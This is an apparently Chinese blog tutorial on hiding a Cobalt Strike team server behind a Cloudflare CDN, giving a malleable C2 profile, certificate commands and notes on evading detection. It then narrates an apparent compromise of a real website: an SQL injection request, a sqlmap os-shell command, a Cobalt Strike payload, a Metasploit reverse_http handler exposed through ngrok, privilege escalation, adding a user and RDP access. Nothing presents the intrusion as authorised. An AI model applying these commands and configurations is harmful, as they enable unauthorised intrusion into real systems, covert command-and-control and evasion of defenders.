目录

Cobalt Strike

基础配置

保姆级Cobalt Strike主机隐藏教程

在vultr上安装openjdk-11-jrescreen并将teamserver上传

  1. 修改默认端口,并控制可访问ip

我这里用zerotier组了一个局域网,将teaserver的端口仅对局域网开放

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041256322.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041258319.png

2022年7月更新

nkn隧道替代zerotier,降低系统资源占用

  1. 添加cdn

freenom或者是nic.eu.org整个免费域名

然后用cloudflare接管域名并添加dns解析,开启cdn

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041303346.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041303811.png

  1. 生成并替换证书

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041304430.png

1
2
openssl pkcs12 -export -in example.com.pem -inkey example.com.key -out cdn.example.com.p12 -name cdn.example.com -passout pass:password
keytool -importkeystore -deststorepass password -destkeypass password -destkeystore cdn.example.com.store -srckeystore cdn.example.com.p12 -srcstoretype PKCS12 -srcstorepass password -alias cdn.example.com

cloudflare.profile该profile来自参考文章,实际使用时需要进行完善

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
https-certificate {
    set keystore "cdn.example.com.store";
    set password "password";
}
http-stager {
    set uri_x86 "/api/1";
    set uri_x64 "/api/2";
    client {
        header "Host" "cdn.example.com";
    }
    server {
        output{
            print;
        }
    }
}
http-get {
    set uri "/api/3";
    client {
        header "Host" "cdn.example.com";
        metadata {
            base64;
            header "Cookie";
        }
    }
    server {
        output{
            print;
        }
    }
}
http-post {
    set uri "/api/4";
    client {
        header "Host" "cdn.example.com";
        id {
            uri-append;
        }
        output{
            print;
        }
    }
    server {
        output{
            print;
        }
    }
}

screen把teamserver挂在后台

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041315111.png

  1. 连接teamserver

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041321487.png

  1. 添加监听器

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041323652.png

CS上线

发现一个网站存在sql注入

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041339323.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /xxxxx/login.aspx HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 183
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Cookie: ASP.NET_SessionId=xxx
Origin: https://ip
Range: bytes=0-10240
Referer: https://ip/xxxxx/default.aspx
Upgrade-Insecure-Requests: 1

login_button=Login&txtPass=password&txtUser=username

sqlmap得到os-shell

sqlmap -r request.txt -p "txtUser" --random-agent --risk 3 --level 3 --technique ES --random-agent --os-shell

生成payload

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041405277.png

将payload复制到os-shell中并执行,等待CS上线

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041407311.png

当前用户为nt authority\network service需要进行提权操作

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041414301.png

联动MSF

MSF设置

  1. 配置ngrok,将MSF监听端口映射到公网

ngrok tcp 5000即可

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041424715.png

  1. MSF监听设置

注意这里要选择reverse_http而不是reverse_tcp

1
2
3
4
5
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 127.0.0.1
msf6 exploit(multi/handler) > set lport 5000
msf6 exploit(multi/handler) > run

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041426117.png

CS设置

  1. 设置新的监听器

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041427935.png

  1. 新建会话

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041429995.png

选择msf的监听器

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041430469.png

等待msf接收即可

MSF提权

非常幸运,用getsystem自动提权就将权限提升到nt authority\system

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041434819.png

之前用CS读取systeminfo并分析的时候,发现可以用CVE-2020-0787进行提权

https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION这个exp需要进行一定的修改

添加用户

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041437059.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041442135.png

shodan已经提示该ip已经开启了3389端口,同时也使用nmap进行确认

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041454766.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041446205.png

利用Parallels Client进行连接

这个软件有个好处,可以通过代理连接rdp

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041447536.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master/202204041451648.png

2022年7月更新

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207192024350.png

Cobalt Strike原版的特征没有去除,解决方法

  1. 去除特征

stager URL生成机制

CS4.4绕过vultr特征检测修改checksum8算法

  1. 利用ufw限制可访问端口的ip(治标不治本)

因为cs是通过cdn上线的,因此只允许cdn的ip访问443端口是一种临时解决方案,归根结底还是需要对checksum8算法进行修改

1
2
3
4
5
6
7
#!/bin/bash
ipv4s=`curl -s https://www.cloudflare.com/ips-v4`
ipv6s=`curl -s https://www.cloudflare.com/ips-v6`
for ip in $ipv4s$IFS$ipv6s
do
ufw allow from $ip to any port 443;
done